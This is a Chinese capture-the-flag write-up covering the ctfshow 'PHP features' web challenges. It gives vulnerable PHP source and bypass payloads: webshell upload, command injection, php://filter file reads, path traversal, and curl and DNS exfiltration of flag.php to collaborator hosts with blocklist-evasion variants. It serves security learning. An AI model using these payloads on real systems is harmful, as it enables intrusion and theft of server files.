WEB入门——php特性
web89
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}
考点:intval()函数
解决:
intval()通过使用指定的进制base转换(默认是十进制),返回变量var的integer数值。
intval()不能用于object,否则会产生E_NOTICE错误并返回 1
?num[]=1
web90
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
}
考点:intval()函数
难点:num != 4476但是num === 4476,可以通过intval函数来int一下
解决:
int intval ( mixed $var [, int $base = 10 ] )
如果 base 是 0,通过检测 var 的格式来决定使用的进制:
1.存在字母的话遇到字母就停止读取但是e这个字母比较特殊,可以在PHP中不是科学计数法
2.如果字符串包括了“0x”或“0X”的前缀,使用16进制
3.如果字符串以 “0” 开始,使用 8 进制
4.将使用 10 进制
思路1:
?num=4476.0
思路2:
把4476转换成8进制、16进制
?num=010574
?num=0x117c
思路3:
4476e123
web91
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}
Notice: Undefined index: cmd in /var/www/html/index.php on line 15
nonononono
考点:[[php preg_match]]
难点:
要满足正则/^php$/im但不能满足/^php$/i
解决:
/i 表示匹配大小写
/m 多行匹配,若存在换行\n并且有开始^或结束$符的情况下,将以换行为分隔符,逐行进行匹配。
但是当出现换行符%0a的时候,$cmd的值会被当做两行处理,而此时第二个if正则匹配不符合以php开头和以php结尾
?cmd=%0Aphp
web92
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
考点:intval()函数
?num=010574
?num=0x117c
?num=4476e111
web93
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
考点:intval()函数
八进制
?num=010574
web94
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(!strpos($num, "0")){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
考点:intval()函数
难点:
trpos() 是 PHP 中用于查找子字符串首次出现位置的常用函数
这里不让0开头了
解决:但是可以在前面加上一个加号,当空格
?num=+010574
web95
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]|\./i", $num)){
die("no no no!!");
}
if(!strpos($num, "0")){
die("no no no!!!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
考点:intval()函数
难点:过滤了点而已关我什么事
解决:
?num=+010574
web96
highlight_file(__FILE__);
if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}
}
考点:弱类型比较
难点:flag.php被过滤
解决:
思路1:
u=./flag.php
思路2:
[[php 伪协议]]
?u=php://filter/read=convert.base64-encode/resource=flag.php
web97
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>
考点:md5
思路1:数组绕过
a[]=1&b[]=2
a[]=&b[]=
思路2:md5碰撞
web98
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
?>
后面是三目运算符
如果存在get传参,则把post传参地址给get,可以简单理解为post覆盖了get:$_GET=&$_POST
如果get参数HTTP_FLAG的值为flag,就读取文件,也就是输出flag
GET:
?a=b
POST:
HTTP_FLAG=flag
web99
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
file_put_contents($_GET['n'], $_POST['content']);
}
?>
首先创建一个数组,然后通过for循环向数组中写如随机数
第二个是判断是否传入了n并判断n是否在数组
最后用file_put_contents函数写数据到
array_push():用于将一个或多个元素插入/推入数组尾部
rand():随机生成数组rand(min,max)
rand(1,$i) #随机生成1-877之间的数
in_array():检查数组中是否存在某个值
in_array(mixed $needle,array $haystack,bool $strict false):bool
大海捞针,在大海(haystack)中搜索针(needle),如果没有设置strict则使用宽松的比较
题目中的in_array没有设置type,我们可以输入字符串5.php,转换之后也就是5,明显是在题目中生成的数组中的,满足条件
[[php file_put_contents]]
GET:
?n=1.php
POST:
content=<?php @eval($_POST['ant']);?>
web100
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\;/", $v2)){
if(preg_match("/\;/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
?>
解决:
[[php 运算优先级]]
如$a = true and false;,因为=大于and,所以这里赋值为$a = True
?v1=1&v2=system("ls")&v3=;
返回:
ctfshow.php flag36d.php index.php
思路1:直接看
?v1=1&v2=system("tac%20ctfshow.php")&v3=;
思路2:加注释
?v1=1&v2=var_dump($ctfshow)?>%23&v3=;
?v1=1&v2=var_dump($ctfshow)/*&v3=*/;
web101
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
?>
php中内置了强大的反射API:
ReflectionClass:一个反射类,功能十分强大,内置了各种获取类信息的方法,创建方式为:
new ReflectionClass(str 类名)
可以用echo new ReflectionClass(‘className’)打印类的信息
ReflectionObject:另一个反射类,创建方式为:
new ReflectionObject(对象名)
v1=1&v2=echo new ReflectionClass&v3=;
返回:
Class [ class ctfshow ] { @@ /var/www/html/ctfshow.php 15-17 - Constants [0] { } - Static properties [0] { } - Static methods [0] { } - Properties [3] { Property [ public $dalaoA ] Property [ public $dalaoB ] Property [ public $flag_e6dbe9490x2de65e0x2d49850x2d83670x2d4d854334685 ] } - Methods [0] { } }
web102
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
file_put_contents($v3,$str);
}
else{
die('hacker');
}
?>
分析:
substr($v2,2) 是相当于返回v2[2:]
call_user_func() 用于调用方法或者变量,第一个参数是被调用的函数,第二个是调用的函数的参数
file_put_contents($v3,$str)是将$str的内容写入并保存为$v3
解题:
v2开头可以是00来作为开头
v2是shell
005044383959474e6864434171594473
这一串数字有些巧妙,这是16进制与字符串之间的互转,转换为16进制后的字符串,其中又带有e也会被当做科学计数法
5044383959474e6864434171594473
→hex2bin+base64-decode→
<?=`cat *`;
最终结果:
GET:
?v2=005044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php
POST:
v1=hex2bin
web103
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
if(!preg_match("/.*p.*h.*p.*/i",$str)){
file_put_contents($v3,$str);
}
else{
die('Sorry');
}
}
else{
die('hacker');
}
?>
GET:
?v2=005044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php
POST:
v1=hex2bin
web105
highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
if($key==='error'){
die("what are you doing?!");
}
$$key=$$value;
}foreach($_POST as $key => $value){
if($value==='flag'){
die("what are you doing?!");
}
$$key=$$value;
}
if(!($_POST['flag']==$flag)){
die($error);
}
echo "your are good".$flag."\n";
die($suces);
?>
考点:php 变量覆盖
注意这里$key=$value,$($key)=$($value),这里$key=error,所以这里可以传一个$error(变量覆盖了属于是)
这里有die($error);和die($suces);都能输出flag,所以这里有两个利用方式
思路1:
执行die($suces)
?suces=flag&flag=1
$flag = $1,在 PHP 中,变量 \(1 是未定义的(Undefined),所以它被解析为 NULL
结果:原始的 \)flag 变量被覆盖为空(NULL)
$_POST['flag']==$flag就成立了
思路2:
执行die($error);
两次变量覆盖
GET:
suces=flag
POST:
error=suces
web106
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2) && $v1!=$v2){
echo $flag;
}
}
?>
[[php 函数安全]]
sha1绕过
GET:
v2[]=
POST:
v1[]=1
web107
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
if(isset($_POST['v1'])){
$v1 = $_POST['v1'];
$v3 = $_GET['v3'];
parse_str($v1,$v2);
if($v2['flag']==md5($v3)){
echo $flag;
}
}
parse_str(string,array):把查询字符串解析到变量中
GET:
?v3=1
POST:
v1=flag=c4ca4238a0b923820dcc509a6f75849b
web108
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) {
die('error');
}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
echo $flag;
}
?>
分析:
ereg() :搜索由指定的字符串作为由模式指定的字符串,如果发现模式则返回true,否则返回false。
搜索对于字母字符是区分大小写的,这里是c的值要为[a-zA-Z],必须完全由字母组成。
strrev() :反转字符串
0x36d十六进制数转化为十进制:877
intval():它从字符串开头解析数字,遇到非数字字符就停止
解决:
ereg可以用%00截断
intval可以用a截断
?c=a%00778
web109
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
eval("echo new $v1($v2());");
}
}
?>
思路1:利用参数优先执行的特性
?v1=Exception&v2=system('cat fl36dg.txt')
?v1=Reflectionclass&v2=system('cat fl36dg.txt')
?v1=mysqli&v2=system('tac fl36dg.txt')
- 检查类名:
PHP 看到 new $v1。无论是 Exception 还是 mysqli,只要这个类在 PHP 中存在(内置类),PHP 就准备开始实例化它。
(如果填了一个不存在的类,比如 abc,可能在这一步就直接报错停止了,轮不到后面执行) - 计算参数(关键时刻!):
为了创建对象,PHP 必须先算出括号里的值。
也就是要先执行 $v2() 里的内容。 - 执行注入命令:
你的 $v2 是 system('cat ...')。
PHP 执行 system 函数。
此时 Flag 被打印出来。 - 尝试调用返回值(报错点):
system 执行完返回了字符串。
代码后面强制加了个 ()。
PHP 试图把字符串当函数调用 -> 报错崩溃。
new [ 这里的词只要存在就行 ] ( [ 这里的代码最先执行 ] () )
思路2:注释后面的
?v1=Exception;system('cat fl36dg.txt');//&v2=a
执行流程解析
- echo new Exception; -> 实例化一个异常对象并输出(语法正确,顺利通过)。
- system('cat flag.php'); -> 执行系统命令,打印 Flag。
- //($v2()); -> 被注释掉了,不执行
web110
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
die("error v1");
}
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
die("error v2");
}
eval("echo new $v1($v2());");
}
?>
FilesystemIterator 是 PHP 的原生类,用于遍历文件系统。
getcwd() 是 PHP 的内置函数,用于获取当前工作目录
?v1=FilesystemIterator&v2=getcwd
直接访问fl36dga.txt
web111
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
function getFlag(&$v1,&$v2){
eval("$$v1 = &$$v2;");
var_dump($$v1);
}
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
die("error v1");
}
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
die("error v2");
}
if(preg_match('/ctfshow/', $v1)){
getFlag($v1,$v2);
}
}
考点:变量覆盖、全局变量
分析:
[[php 引用传递]]
&$v1 和 &$v2:函数接收两个 引用参数,也就是说传入的是变量本身,而不是值的拷贝
假设调用时:
$a = 10;
$b = 20;
getFlag($a, $b);
在函数内部:
$v1 = 'a'
$v2 = 'b'
于是 eval 中的字符串变成:
$a = &$b;
让 $a 成为 $b 的引用(即两者指向同一内存地址)
最后:
var_dump($$v1); // 即 var_dump($a);
会输出 $a 的值,此时由于 $a 是 $b 的引用,所以输出的是 $b 的值(20)
到这里还是对v1和v2进行了正则的过滤,然后如果$v1有ctfshow,会进入getFlag函数
解决:
错误方法原因:
?v1=ctfshowweb&v2=flag #失败,返回NULL
函数内部默认无法访问全局变量 $flag,除非:
- 使用
global $flag;,或 - 通过
$GLOBALS['flag']访问
在getFlag函数内部,$flag是 未定义的局部变量 → 值为NULL
为了满足条件,我们可以利用全局变量来进行赋值给ctfshow这个变量
?v1=ctfshowweb&v2=GLOBALS
解释:
$GLOBALS:引用全局作用域中可用的全部变量 一个包含了全部变量的全局组合数组。变量的名字就是数组的键。
web112
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
die("hacker!");
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
?file=php://filter/resource=flag.php
?file=php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
?file=php://filter/read=convert.iconv.UCS-4.LE/convert.iconv.UCS-4.BE/resource=flag.php
?file=php://filter/read=convert.iconv.utf-8.utf-16le/resource=flag.php
?file=php://filter/read=convert.quoted-printable-encode/resource=flag.php
?file=compress.zlib://flag.php
web113
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
考点:[[php 伪协议]]
难点:用不了filter了
解决:
思路1:
可以直接用不带任何过滤器的filter伪协议
?file=compress.zlib://flag.php
思路2:
is_file目录长度溢出
在linux中/proc/self/root是指向根目录的,也就是如果在命令行中输入ls /proc/self/root,其实显示的内容是根目录下的内容进行目录溢出,超过is_file能处理的最大长度就不认为是个文件了
?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
web114
error_reporting(0);
highlight_file(__FILE__);
function filter($file){
if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
echo "师傅们居然tql都是非预期 哼!";
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
有filter,不能convert
?file=php://filter/resource=flag.php
web115
include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
$num=str_replace("0x","1",$num);
$num=str_replace("0","1",$num);
$num=str_replace(".","1",$num);
$num=str_replace("e","1",$num);
$num=str_replace("+","1",$num);
return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
if($num=='36'){
echo $flag;
}else{
echo "hacker!!";
}
}else{
echo "hacker!!!";
}
思路1:
trim()是函数移除字符串两侧的空白字符或其他预定义字符
去除类型:
0x20:普通空格符
0x09:制表符
0x0A:换行符
0x0D:回车符
0x00:空字节符
0x0B:垂直制表符
is_numeric()在数字的前面加上%09 %0a %0b %0c %0d任意一个都可以使其为真不影响判断
发现最后%0c还可以用
?num=%0c36
思路2:
php跑个脚本看看有什么能来绕过trim呢
<?php
for ($i = 0; $i <= 128; $i++) {
$a = chr($i) . '36';
if (trim($a) !== '36' && is_numeric($a)) {
echo urlencode(chr($i)) . "\n";
}
}
发现能用%0c来绕过trim函数
web123
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
?>
难点:绕过传参转换为_
PHP变量名应该只有数字、字母、下划线,同时GET或POST方式传进去的变量名,会自动将空格 + . [转换为_
但是有一个特性可以绕过,使变量名出现.之类的
特殊字符[, GET或POST方式传参时,变量名中的[也会被替换为_,但其后的字符就不会被替换了
如:CTF[SHOW.COM=>CTF_SHOW.COM
POST:
fun=echo $flag&CTF_SHOW=666&CTF[SHOW.COM=666
web125
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
?>
难点:绕过传参转换为_,禁用了echo、flag
解决:
[[php 读取文件函数]]
思路1:利用$_GET
GET:
?1=flag.php
POST:
CTF_SHOW=666&CTF[SHOW.COM=666&fun=highlight_file($_GET[1])
思路2:利用extract()
[[php 变量覆盖漏洞]]
extract:从数组中将变量导入到当前的符号表
POST:
CTF_SHOW=&CTF[SHOW.COM=&fun=extract($_POST)&fl0g=flag_give_me
web126
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
$a=$_SERVER['argv'];
配置php.ini文件的register_argc_argv = On(默认是Off),重启服务。
如思路1,这里aaaaa是传入argv的一个参数,被当做一个数组传入进去
数组他是以空格进行分割的,比如ls /-a,ls就是argv[0],/-a就是argv[2]
思路1:
[[php 变量覆盖漏洞]]
parse_str:解析 URL 查询字符串,将字符串解析成多个变量,没有返回值
GET:
?aaaaa=1+fl0g=flag_give_me
POST:
CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])
利用$a=$_SERVER['argv'];,parse_str输出的是argv的第2个数组恰好就是加号(+会被解析成空格)后面的就只要了fl0g=flag_give_me
GET:
?aaaa=1+fl0g1=flag_give_me+fl0g=flag_give_me
POST:
CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[2])
思路2:
[[php 执行函数]]
直接利用代码执行函数assert或其他,对a[0]进行操作不用+进行分割
GET:
?$fl0g=flag_give_me
POST:
CTF_SHOW=&CTF[SHOW.COM=&fun=assert($a[0])
web127
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];
//特殊字符检测
function waf($url){
if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
return true;
}else{
return false;
}
}
if(waf($url)){
die("嗯哼?");
}else{
extract($_GET);
}
if($ctf_show==='ilove36d'){
echo $flag;
}
题目检查的是query_string而不是$_GET
因此可以利用不合法的变量名,让其自动替换成_
?ctf show=ilove36d
web128
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$f1 = $_GET['f1'];
$f2 = $_GET['f2'];
if(check($f1)){
var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
echo "嗯哼?";
}
function check($str){
return !preg_match('/[0-9]|[a-z]/i', $str);
}
解析:
_()是一个函数
_()就是gettext()
需要php扩展目录下有php_gettext.dll
gettext($msgid):获取翻译后的字符串
gettext(“get_defined_vars”);时会返还get_defined_vars
get_defined_vars():返回由所有已定义变量所组成的数组 这样可以获得 $flag
解决:
?f1=_&f2=get_defined_vars
web129
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['f'])){
$f = $_GET['f'];
if(stripos($f, 'ctfshow')>0){
echo readfile($f);
}
}
stripos():查找字符串首次出现的位置(不区分大小写)
与 strpos() 不同,stripos() 不区分大小写。
思路1:../../../..
利用文件穿越来得到flag
?f=/ctfshow/../../../../var/www/html/flag.php
?f=./ctfshow/../flag.php
思路2:php://filter
php伪协议可以套一层协议,无效的话会被忽略
?f=php://filter/convert.base64-encode/ctfshowaaa/resource=flag.php
?f=php://filter/convert.base64-encode/ctfshowaaa/convert.base64-decode/resource=flag.php
web130
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
$f = $_POST['f'];
if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f, 'ctfshow') === FALSE){
die('bye!!');
}
echo $flag;
}
ctfshow前面不能有东西
思路1:
POST:
f=ctfshow
思路2:
stripos($array, 'xxx') 不会返回 FALSE,而是直接返回 NULL!
而 NULL === FALSE 是 false
POST:
f[]=1
思路3:
正则的最大回溯
PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit回溯次数上限默认是 100 万。如果回溯次数超过了 100 万,preg_match 将不再返回非 1 和 0,而是 false
import requests
url = "https://290f7bd0-a3a6-4b25-8d4a-4ee2a747d91b.challenge.ctf.show"
data = {
'f': 'very'*250000+'ctfshow'
}
res = requests.post(url=url,data=data,verify=False)
print(res.text)
web131
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
$f = (String)$_POST['f'];
if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f,'36Dctfshow') === FALSE){
die('bye!!');
}
echo $flag;
}
解决:
import requests
url = "https://290f7bd0-a3a6-4b25-8d4a-4ee2a747d91b.challenge.ctf.show"
data = {
'f': 'very'*250000+'36Dctfshow'
}
res = requests.post(url=url,data=data,verify=False)
print(res.text)
web132
#error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
$username = (String)$_GET['username'];
$password = (String)$_GET['password'];
$code = (String)$_GET['code'];
if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){
if($code == 'admin'){
echo $flag;
}
}
}
考点:[[php 运算优先级]]
&& || = and or
//从左往右,从高到低
所以这里password=$flag和username=admin满足一个即可,然后code要为admin
?username=admin&password=&code=admin
web134
highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {
die(file_get_contents('flag.php'));
}
考点:php 变量覆盖漏洞
思路:
1.先将GET方法请求的解析成变量,
2.然后在利用extract() 函数从数组中将变量导入到当前的符号表
?_POST[key1]=36d&_POST[key2]=36d
解释:
var_dump($_GET);效果如下:
array(1) {
["_POST"]=>
array(2) {
["key1"]=>
string(3) "36d"
["key2"]=>
string(3) "36d"
}
}
parse_str($_SERVER['QUERY_STRING']);效果如下:
["_POST"]=>
array(2) {
["key1"]=>
string(3) "36d"
["key2"]=>
string(3) "36d"
}
extract($_POST);效果如下:
["key1"]=>
string(3) "36d"
["key2"]=>
string(3) "36d"
总结:
利用 parse_str 特性来“无中生有”地伪造 $_POST 数组,从而绕过原本的逻辑检查
web133
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
eval(substr($F,0,6));
}else{[[#web90]]
die("6个字母都还不够呀?!");
}
}
难点:6个字符的命令执行
分析:
一开始$F = @$_GET['F']
后来eval(substr($F,0,6));
解决:
?F=`$F`;+sleep 3
sleep 3换成别的命令
但是执行命令但没有回显,可以找方法外带
思路1:dnslog
http://www.dnslog.cn/
?F=`$F`; ping `cat flag.php | grep ctfshow | tr -cd "[a-z]"/"[0-9]"`.sxl7iv.dnslog.cn -c 1
思路2:Collaborator Client

p3t8gergqqcmgooxph48zlyvcmid64ut.oastify.com
?F=`$F`;+curl -X POST -F xx=@flag.php http://p3t8gergqqcmgooxph48zlyvcmid64ut.oastify.com

web135
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){
eval(substr($F,0,6));
}else{
die("师傅们居然破解了前面的,那就来一个加强版吧");
}
}
难点:6个字符的命令执行
思路1:[[linux 命令执行绕过]]
反斜杠:
?F=`$F`;+cur\l -X POST -F xx=@flag.php http://pmfcjvqq1bd8f9rih89qjvn5gwmnady2.oastify.com
单引号:
?F=`$F`;+cur''l -X POST -F xx=@flag.php http://pmfcjvqq1bd8f9rih89qjvn5gwmnady2.oastify.com
双引号:
?F=`$F`;+cur""l -X POST -F xx=@flag.php http://pmfcjvqq1bd8f9rih89qjvn5gwmnady2.oastify.com
反引号:
?F=`$F`;+cur``l -X POST -F xx=@flag.php http://pmfcjvqq1bd8f9rih89qjvn5gwmnady2.oastify.com
思路2:换命令
ping命令:
通过ping命令去带出数据,然后awk NR一排一排的获得数据
DNS 外带写法中,反引号结束和域名直接拼接,不能有空格:
NR 记录数(行号),从1开始,新的文件延续上面的计数,新文件不从1开始
?F=`$F`;+ping `nl flag.php|awk 'NR==2'`.pmfcjvqq1bd8f9rih89qjvn5gwmnady2.oastify.com
cp命令:
用cp把flag复制到1.txt访问
?F=`$F`+;cp+flag.php+1.txt
web136
<?php
error_reporting(0);
function check($x){
if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
die('too young too simple sometimes naive!');
}
}
if(isset($_GET['c'])){
$c=$_GET['c'];
check($c);
exec($c);
}
else{
highlight_file(__FILE__);
}
?>
考点:命令执行
思路1:tee()
?c=ls /|tee lssss
把命令执行结果写入lssss
访问:
/lssss
访问f149_15_h3r3:
?c=cat /f149_15_h3r3 |tee flaggggg
思路2:[[bash盲注]]
web139
<?php
error_reporting(0);
function check($x){
if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
die('too young too simple sometimes naive!');
}
}
if(isset($_GET['c'])){
$c=$_GET['c'];
check($c);
exec($c);
}
else{
highlight_file(__FILE__);
}
?>
解决:[[bash盲注]]
web137
error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
function __wakeup(){
die("private class");
}
static function getFlag(){
echo file_get_contents("flag.php");
}
}
call_user_func($_POST['ctfshow']);
考点:类
解决:直接调用getFlag类即可
POST:
